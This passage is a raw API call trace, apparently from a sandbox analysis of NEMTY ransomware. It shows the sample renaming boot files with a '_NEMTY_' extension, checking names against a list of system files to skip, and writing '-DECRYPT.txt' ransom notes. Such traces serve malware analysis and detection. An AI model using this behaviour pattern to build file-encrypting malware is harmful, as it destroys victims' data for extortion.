lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.736] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.765] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.765] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.772] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.778] CloseHandle (hObject=0xffffffff) returned 0 [0044.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0044.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0044.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.779] MoveFileW (lpExistingFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0044.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0044.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0044.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0044.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.779] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4dcad0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce4dcad0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce4dcad0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.779] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0044.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0044.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0044.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0044.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0044.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0044.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0044.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0044.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0044.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.781] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4dcad0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce4dcad0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce4dcad0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0044.781] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0044.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0044.781] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2=".") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="..") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="...") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="windows") returned -1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="$RECYCLE.BIN") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="rsa") returned -1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="NTDETECT.COM") returned -1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="ntldr") returned -1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="MSDOS.SYS") returned -1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="IO.SYS") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="boot.ini") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="boot.ini") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="AUTOEXEC.BAT") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="ntuser.dat") returned -1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="desktop.ini") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="CONFIG.SYS") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="RECYCLER") returned -1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="BOOTSECT.BAK") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="bootmgr") returned 1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="programdata") returned -1 [0044.781] lstrcmpiW (lpString1="it-IT", lpString2="appdata") returned 1 [0044.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="it-IT", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="it-IT", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="it-IT", lpUsedDefaultChar=0x0) returned 5 [0044.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="it-IT", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="it-IT", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="it-IT", lpUsedDefaultChar=0x0) returned 5 [0044.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0044.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0044.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0044.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.782] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\it-it\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.833] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.833] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0044.834] CloseHandle (hObject=0x3c0) returned 1 [0044.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0044.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0044.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.834] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\it-it\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.835] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.835] WriteFile (in: 